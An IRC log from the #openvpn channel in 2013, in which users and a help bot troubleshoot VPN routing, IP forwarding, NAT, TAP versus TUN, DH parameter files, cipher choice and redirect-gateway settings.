20:40 < pekster> You have *4* systems. You're going on and on about how you have no firewall betwen the first *two* of them
20:40 < tharkun> pekster: I count so far only 3
20:40 <@krzee> forget the router?
20:40 <@EugeneKay> !101
20:40 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
20:45 < tharkun> EugeneKay: Thanks I know that ;P
20:45 < tharkun> !ipforward
20:45 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
20:45 < tharkun> !linipforward
20:46 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
20:57 < tharkun> So I can ssh back from the LAN PC back to the client machine and still no pinging on the other direction :(
20:58 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 240 seconds]
20:58 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
20:58 < pekster> tharkun: And now you've confirmed it's a firewall issue, verses a routing issue
20:58 < tharkun> pekster: How?
20:58 < pekster> Congrats. Your "no firewall" setup has been conclusively proven to have one
20:59 < pekster> I have no clue
20:59 < pekster> Since I don't admin your network, I have zero clue how you might have set up a firewall
21:01 < tharkun> pekster: I can ssh from vpn client to vpn server, I can ssh from vpn server to LAN PC I can't ssh from vpn client directly to LAN PC Connection timed out
21:02 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
21:02 < tharkun> And from iptables-save FORWARD ACCEPT [419:34049]
21:02 < pekster> Yes. I get that. You don't seem to understand that if you can go in one direction (your server-side LAN PC to the VPN client) but not the other, it's a firewall issue
21:02 < pekster> Learning basic networking is essentially a prerequisite to using a VPN
21:04 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
21:04 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 258 seconds]
21:06 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
21:08 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
21:09 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
21:16 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
21:17 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
21:17 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
21:20 < me0615> hello. can somebody enlighten me about push directive.
21:26 -!- me0615 [~me0615@122.2.46.76] has quit []
21:39 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
21:40 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 255 seconds]
21:52 -!- qmr_ is now known as qmr
21:56 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
21:57 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 276 seconds]
22:00 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
22:00 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
22:04 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
22:04 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
22:12 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
22:12 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 255 seconds]
22:20 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Operation timed out]
22:21 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
22:22 -!- brute11k [~brute@89.249.231.99] has joined #openvpn
22:26 -!- tabakhase_ [t4b4kh453@rps9289.ovh.net] has quit [Changing host]
22:26 -!- tabakhase_ [t4b4kh453@unaffiliated/tabakhase] has joined #openvpn
22:37 < tharkun> pekster: The isue was a routing isue, the traffic from the vpnclient masqueraded traffic using the ip of the tunnel end so the ICMP packets had no route back to it. And the ssh connection could be established
22:38 < pekster> And this is why you never use 'iptables -L' for anything useful
22:38 < tharkun> As I stated earlier this was not a firewall isue.
22:38 < pekster> 'man iptables-save'
22:38 <@krzee> "masqueraded traffic"
22:38 <@krzee> thats FIREWALL
22:38 <@krzee> aka it was a firewall issue
22:38 < tharkun> krzee: done by openvpn not an external firewall
22:38 <@krzee> openvpn didnt masquerade it
22:39 < tharkun> krzee: then why are the packets using the endpoint ip?
22:39 <@krzee> of course traffic goes out with the src ip of the interface they left!
22:39 < tharkun> 10.9.8.2 on this example
22:39 < pekster> OpenVPN will never touch anything to do with netfilter
22:39 < tharkun> Noone said that
22:40 < tharkun> krzee: The source ip is the LAN ip or the tun ip?
22:40 <@krzee> depends where the traffic is headed? traffic headed out tun should have tun ip, traffic out eth0 should have eth0 ip
22:41 < tharkun> krzee: ok, thanks I missed that when reading the docs
22:41 <@krzee> anyways, if you have it working how you want it, everything is good
22:42 < pekster> Well, if you're not interested in routing between the networks, sure
22:42 < pekster> NAT hack it all the way
22:42 < tharkun> !nathack
22:42 <@vpnHelper> "nathack" is see https://community.openvpn.net/openvpn/wiki/NatHack for info on how to solve the problem when you need !route_outside_ovpn but cant add a route to the gateway or the lan machines
22:43 < pekster> Dear IPv6. I miss you. Can you hurry up and kill off IPv4? Thanks…
22:44 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
22:45 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
22:48 < hazardous> eh IETF Announces IPv4 flag day for 1/1/2014. Today, IETF and IESG jointly announced that IPv4 would no longer be supported on the global internet after 1/1/2014. Those wishing to continue using the internet in 2014 and beyond should move to IPv6.
22:57 < tharkun> pekster: I have to deal with some coffeepots that will only accept a single LAN and a default gw. Believe me sometimes is indeed painful
22:58 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
22:58 < pekster> That's fine. Route *properly* from that default gateway
22:58 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
22:58 < pekster> You'll need to learn to do things right with IPv6 anyway. Why not get a head start and do it properly now?
22:59 < pekster> A router's job is to route, oddly enough
23:09 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
23:09 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
23:10 < tharkun> pekster: Indeed, I had an idea just now. Let me see if hw works
23:14 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
23:14 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
23:19 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
23:20 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
23:22 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
23:54 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Quit: No Ping reply in 180 seconds.]
23:54 -!- pcdummy [~quassel@mx1.page4me.ch] has joined #openvpn
23:54 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
23:54 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
23:55 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 256 seconds]
23:56 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
23:56 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
23:56 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
23:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
--- Day changed Wed Apr 03 2013
00:00 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
00:00 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
00:10 -!- majo [~majo@89.244.146.150] has joined #openvpn
00:10 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Operation timed out]
00:12 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
00:15 -!- majo [~majo@89.244.146.150] has quit [Ping timeout: 240 seconds]
00:23 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
00:26 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Client Quit]
00:30 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
00:33 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Client Quit]
00:37 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
00:46 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
00:59 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
00:59 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 255 seconds]
01:01 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Ping timeout: 240 seconds]
01:03 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
01:04 < me0615> @krzee, is it because dhcp-option is a windows-specific option that is why i need to do it outside ovpn?
01:17 -!- me0615 [~me0615@122.2.46.76] has quit []
01:19 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
01:22 -!- brute11k [~brute@89.249.231.99] has quit [Quit: Leaving.]
01:40 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has quit [Quit: Have to go. Good bye!]
01:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:57 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:10 -!- Cpt-Oblivious is now known as Cpt-Oblivious|af
02:10 -!- Cpt-Oblivious|af is now known as Cpt-ObliviousAFK
02:11 -!- Cpt-ObliviousAFK is now known as Cpt-Oblivious
02:16 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 256 seconds]
02:43 -!- Guest42427 [~matt@mlpc.wiltshire.ac.uk] has left #openvpn []
02:55 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
03:06 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:15 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 245 seconds]
03:21 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has joined #openvpn
03:44 -!- cronix [~cronix@HSI-KBW-046-005-192-177.hsi8.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
03:45 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 258 seconds]
03:45 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:48 < jzaw> MULTI: --iroute options rejected for openwrt/194.117.241.72:59524 -- iroute only works with tun-style tunnels
03:48 < jzaw> is there a reason one cant pass ccd    iroute options if using a routed tap?
03:50 < Dropje> jzaw: a bridged setup is a layer 2 setup.. how would your clients know to find an iroute client?
03:50 < Dropje> !factoids search bridge
03:50 <@vpnHelper> 'bridge-dhcp', 'fbsdbridge', 'bridge-fw', 'bridge', and 'whybridge'
03:50 < Dropje> !whybridge
03:50 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
03:51 < jzaw> Dropje, im using a routed tap arrangement
03:51 < jzaw> not bridged
03:52 < Dropje> jzaw: then why use tap?
03:53 < jzaw> cos it worked with a public /30 assigned to it without topology or /net30 or what ever
03:53 < Dropje> https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
03:53 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
03:53 < jzaw> i set up routes via upscripts on both ends
03:53 < jzaw> i was wondering if i can do the same in a ccd
03:54 < jzaw> i have asked here if there are any major reasons not to do it
03:54 < jzaw> but didnt get any convincing answer
03:55 < jzaw> the only extra traffic i seem to see are arps between tap0's once every 30sec
03:55 < Dropje> jzaw: i'm not really sure what you mean with a public /30 assigned to it?
03:55 < Dropje> routable addresses you mean?
03:55 < jzaw> 81.2.112.117 and 118 are on the tap0s
03:55 < jzaw> yes
03:57 < jzaw> anyway ... back to my orig question
03:57 < jzaw> if im routing ... is there a reason i cant pass iroute info ?
03:57 < Dropje> jzaw: i'm trying to think of a reason why it would b ea good idea to do that
03:57 < jzaw> cos my remote lan is also routable
03:57 < jzaw> but only down the tun
03:58 < jzaw> and i can ping / trace the whole path for diag if needs be
03:58 < jzaw> from anywhere
03:58 < Dropje> i guess there are limitations to use a routed setup with TAP, but i'm not good enough to answer the question why
03:58 < jzaw> s/tun/tunnel
03:59 < jzaw> i admit i have an unusual arrangement
03:59 < jzaw> but hey .. it works and play is play :D
03:59 < Dropje> jzaw: i don't have any experience configuring a setup using routed addresses, you'll be throwing away ipv4 addresses
04:00 < jzaw> you say that like thats a bad thing? ;)
04:00 < Dropje> when dealing with ipv4 addresses, yes? :)
04:00 < jzaw> im also routing ipv6 down the tap0's
04:00 < Dropje> so i imagine you want to be able to use your routable addresses for your clients
04:00 < jzaw> heh Dropje you missed my sarcams
04:00 < Dropje> no i havent ;)
04:01 < Dropje> thats why i blinked
04:01 < jzaw> ah k :)
04:01 < Dropje> hehe
04:01 < jzaw> :D
04:01 < Dropje> but wouldnt you be better of using topology subnet?
04:01 < jzaw> thats the qustion ? would i?
04:01 < jzaw> if the limitation is that i cant ccd iroute ... then maybe
04:01 < Dropje> if you want to hand out routable addresses to your clients , yes
04:02 < jzaw> ive set up my dhcpd on the remote end to hand them out
04:02 < jzaw> its only a tiny network a few devices /29
04:02 < Dropje> i guess < *guess* iroute is limited to using a tun interface
04:02 < Dropje> jzaw: how would dhcp work in a routed setup?
04:03 < jzaw> aye .... from the log .... iroute only works with tun-style tunnels
04:03 < Dropje> are you somehow proxy-ing dhcp requests?
04:03 < jzaw> nope
04:03 < jzaw> the remote lan has its own dhcpd ... the pool is the routeable addy's
04:03 < jzaw> but they can go out via nat
04:04 < jzaw> and who cares if its a 192 a 172 or a 10 addy
04:04 < jzaw> or indeed an 81.187.185.x addy behind nat
04:05 < Dropje> i don't care about what kind of addresses you're handing out.. i do care about what you mean with remote lan?
04:05 < Dropje> dhcp will *not* work in a routed setup
04:05 < Dropje> unless you're proxying requests
04:06 < jzaw> im not exactly getting your point
04:06 < jzaw> they are two separate networks ... can work without the vpn
04:07 < jzaw> the client end happens to have lan ips which are routable ... but only via the vpn
04:07 < jzaw> else they just get natted
04:25 < Dropje> jzaw: you're saying that you use your own dhcpd.. i question how that would ever work in a routed setup since you rely on layer2 traffic to make that work
04:41 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
04:41 -!- mode/#openvpn [+o dazo] by ChanServ
04:54 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
04:54 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
05:00 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 258 seconds]
05:02 < BasicXP> Good time of the day, everyone! Encountered a problem while starting up OpenVPN, the program complains that it can't load dh.pem (Diffie-Helman parameters). It worked before, the file wasn't changed. Generated a new one with OpenSSL, still the same. "Cannot open dh.pem for DH parameters: error:02001002:lib(2):func(1):reason(2): error:2006D080:lib(32):func(109):reason(128)" Googling gave no answer.
05:02 < BasicXP> Any help is appreciated. Thank you!
05:06 < BasicXP> Er, nevermind, apparently specifying "dh dh.pem" is not equal to "dh ./dh.pem" (I thought it should be)
05:12 < bkrieg1337> !help
05:12 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
05:12 < bkrieg1337> !command
05:12 < bkrieg1337> !guide
05:17 -!- lmm [uid6417@gateway/web/irccloud.com/x-loxnjayvdjtfdjcg] has joined #openvpn
05:23 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has quit [Read error: Connection reset by peer]
05:27 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 264 seconds]
05:27 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has joined #openvpn
05:29 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
05:30 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
05:34 -!- mz|` [~emerick@unaffiliated/mz/x-5510238] has quit [Read error: Operation timed out]
05:34 -!- mz|` [~emerick@unaffiliated/mz/x-5510238] has joined #openvpn
05:48 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
05:50 -!- bkrieg1337 [~bkrieg133@112.198.141.48] has joined #openvpn
05:51 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 252 seconds]
05:59 < kisom> BasicXP: --dh ./dh.pem works fine here
05:59 < BasicXP> yep, it does
05:59 < BasicXP> dh dh.pem didn't work
06:00 < kisom> Works just as well ;)
06:00 < BasicXP> glad for you, didn't work here, got the error mentioned above :)
06:00 < BasicXP> kind of weird *shrugs*
06:03 -!- master_of_master [~master_of@p4FF24F2E.dip.t-dialin.net] has joined #openvpn
06:06 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
06:07 -!- master_o1_master [~master_of@p4FF24AEE.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
06:08 < jzaw> Dropje, im confused as to why youre confused .... if i had a 192 subnet at the client end and dhcp had a pool from that to give out
06:08 < jzaw> you wouldnt be asking the question
06:08 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
06:09 < jzaw> my client end router has been assigned a lan ip of 81.187.185.65 /29 and hands out a pool of two ips via dhcp + 3 others reserved by MAC
06:10 < jzaw> this routable subnet belongs to me (from my isp at the ovpn server end)
06:11 < jzaw> and is routed to the server wan ... and then down the vpn to the client end
06:11 -!- [fred] [fred@konfuzi.us] has joined #openvpn
06:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
06:25 -!- bkrieg1337 [~bkrieg133@112.198.141.48] has quit [Read error: Connection reset by peer]
06:26 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
06:37 <@krzee>  
06:38 <@krzee> .
06:38 <@krzee> !ping
06:38 <@vpnHelper> pong
06:38 < vaillor> on client side i set "redirect-gateway def1"
06:38 < vaillor> now it's end?
07:05 -!- brute11k [~brute@89.249.235.146] has joined #openvpn
07:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:08 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:09 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
07:15 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:15 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
07:15 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
07:21 -!- JackWinter1 [~jack@vodsl-9778.vo.lu] has joined #openvpn
07:24 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Ping timeout: 252 seconds]
07:25 < jzaw> krzee, is there a reason why ccd iroute options arent allowed if one is using a routed tap?
07:28 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has joined #openvpn
07:28 < cnf> hello
07:29 < cnf> what crypto option should i use if i want as little CPU load as possible, without resorting to none?
07:31 <@ecrist> good question
07:31 <@ecrist> I'd just tell my users not to use the VPN. :P
07:32 < jzaw> krzee, --iroute options rejected for openwrt/194.117.241.72:59524 -- iroute only works with tun-style tunnels
07:32 < jzaw> or ecrist ^^^
07:32 < cnf> need the tunnel for layer 2 bridging
07:32 < cnf> it
07:32 < jzaw> im using a routed tap
07:33 < cnf> the client just runs on very very low powered devices
07:34 < jzaw> cnf ... my server end upload speed is about 1Mbit/s
07:34 < cnf> jzaw: uhm, ok?
07:34 < jzaw> i can max that out on a tp-link wr740n with aes
07:34 < jzaw> and top says 10%
07:34 < jzaw> on the cpu on the router
07:34 < cnf> now try 50mbit / client
07:35 < cnf> times 2000 on the server side
07:35  * jzaw would love a single 50Mbit 
07:35 < cnf> we don't really need the encryption
07:35 < cnf> though *some* obfuscation would be nice
07:36 < jzaw> no chance of a more gruntful router
07:36 < jzaw> ?
07:36 < cnf> jzaw: times 2000?
07:36 < cnf> no
07:37 < jzaw> well not necessarily x2000
07:37 < cnf> and it's not a router, hence the layer 2
07:37 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
07:37 < jzaw> sure i was just using the term generically
07:38 -!- cpm [~Chip@pdpc/supporter/active/cpm] has left #openvpn []
07:39 < cnf> i just like to find out what cypher uses the least CPU
07:39 < jzaw> i cant answer that ... but .... there is this article
07:39 < jzaw> https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux
07:39 <@vpnHelper> Title: Gigabit_Networks_Linux – OpenVPN Community (at community.openvpn.net)
07:40 < jzaw> which cypher and techniques give best speeds
07:40 < jzaw> that might help ?
07:40 < jzaw> to point you in the right direction
07:41 < cnf> that doesn't talk about cyphers much, though
07:41 < vaillor> on client side i set "redirect-gateway def1"
07:41 < vaillor> now it's end?
07:41 < vaillor> i need to redirect
07:41 < vaillor> all the traffic into vpn
07:43 < jzaw> cnf, have you compared crypted with non crypted ?
07:43 < jzaw> did it make much difference?
07:43 < cnf> oh yeah
07:43 < jzaw> hehe i bet
07:45 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
07:46 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
07:47 < jzaw> cnf http://blog.famzah.net/2010/06/11/openssh-ciphers-performance-benchmark/
07:47 <@vpnHelper> Title: OpenSSH ciphers performance benchmark | /contrib/famzah (at blog.famzah.net)
07:47 < jzaw> again merely a pointer/guide not definitive
07:54 < jzaw> vaillor, try push "redirect-gateway def1" in your server.conf
07:55 < vaillor> jzaw, i don't want to force redirection in all of my clients
07:55 < vaillor> i just want it to only one client
07:56 < jzaw> ah sure
07:56 < jzaw> have you checked your routes on the client?
07:56 < vaillor> no, how can i do?
07:58 < vaillor> redirect-gateway def1 it's not the only thing i need to set on the client?
07:59 -!- bkrieg1337 [~bkrieg133@112.198.141.48] has joined #openvpn
08:00 < jzaw> what os is the client?
08:00 < jzaw> *nix ... in the cli ... route -n
08:00 < jzaw> or if you have it     ip route show
08:01 < jzaw> pastebin the result
08:01 < vaillor> jzaw, it's an iphone
08:01 < jzaw> ah
08:01 < vaillor> the server is debian
08:01 < jzaw> ive never played with an iphone
08:01 < vaillor> the client is an iphone
08:02 < vaillor> ok, so i need to set redirect-dns ?
08:02 < vaillor> or i don't need it?
08:02 < jzaw> doesnt it Just Work (r) ?   ;)
08:02 < vaillor> !def1
08:02 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
08:03 < vaillor> jzaw, and on the server?
08:03 < vaillor> what do i need?
08:04 < jzaw> how are you running the vpn client in the iphone?
08:04 < jzaw> is it a gui one ? or in the cli?
08:04 < vaillor> yes
08:04 < vaillor> it's called "openvpn connect"
08:05 < vaillor> and it accepts the config.ovpn like a normal opensource client
08:06 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:09 < vaillor> jzaw, what i need to do on the server?
08:27 -!- dazo is now known as dazo_afk
08:28 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:34 -!- dazo_afk is now known as dazo
08:34 -!- caraconan [~usuario@95.63.97.179] has joined #openvpn
08:35 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Read error: Operation timed out]
08:35 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
08:35 < caraconan> Hi all. I have a routed VPN, and I'm able to reach OpenVPN server's private LAN. If I want to push DNS server to the clients, should they (the clients) have locally some kind of script as I read in some places?
08:37 -!- BAMbanda [~BAMbanda@c-98-231-137-71.hsd1.md.comcast.net] has joined #openvpn
08:37 < BAMbanda> could someone help me grep the output log of openVPN and save it to a file?
08:39 < Poster|w> caraconan: Please check: push "dhcp-option DNS x.x.x.x"
08:39 < Poster|w> BAMbanda: look at the --log option
08:39 < caraconan> <Poster|w> already done, not working
08:40 < caraconan> http://openvpn.net/index.php/open-source/documentation/howto.html#dhcp talks about "while non-Windows clients can accept them by using a client-side up script which parses the foreign_option_n environmental variable list"
08:40 <@vpnHelper> Title: HOWTO (at openvpn.net)
08:54 -!- dazo is now known as dazo_afk
08:58 < caraconan> Reply to my question: https://wiki.archlinux.org/index.php/OpenVPN#DNS
08:59 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
08:59 -!- caraconan [~usuario@95.63.97.179] has quit [Quit: Leaving]
09:01 < vaillor> Poster, to force client redirection, i just need "redirect-gateway def1" ?
09:01 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 276 seconds]
09:04 -!- diizzyy2 [~foobar2@c-181be155.114-1-64736c10.cust.bredbandsbolaget.se] has joined #openvpn
09:04 < diizzyy2> Hmm...
09:05 < diizzyy2> I'm probably missing something here but how to you set a gateway (on the server) for a client gateway
09:06 < rob0> !redirect
09:06 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:06 <@vpnHelper> http://ircpimps.org/redirect.png
09:06 < rob0> maybe?
09:07 < diizzyy2> wouldn't redirect push all traffic?
09:07 < rob0> then what are you asking?
09:08 < diizzyy2> route 192.168.40.0 255.255.255.0 becomes the following route 192.168.40.0       10.0.9.2
09:08 < diizzyy2> the first is the actual line in server config file
09:08 < diizzyy2> but the gateway isn't 10.0.9.2
09:09 < rob0> did you look at --route in the man page? The gateway would be the VPN server/peer address. Why do you think it is not 10.0.9.2? We're not as smart as you might think, no way of knowing your config.
09:10 < rob0> what's not working?
09:10 < diizzyy2> sorry, the node gets pushed .244
09:10 < diizzyy2> ifconfig-push 10.0.9.1 10.0.9.244
09:11 < diizzyy2> so 192.168.10.0/24 is behind the server, 192.168.40.0/24 is behind the client
09:12 -!- bkrieg1337 [~bkrieg133@112.198.141.48] has quit [Read error: Connection reset by peer]
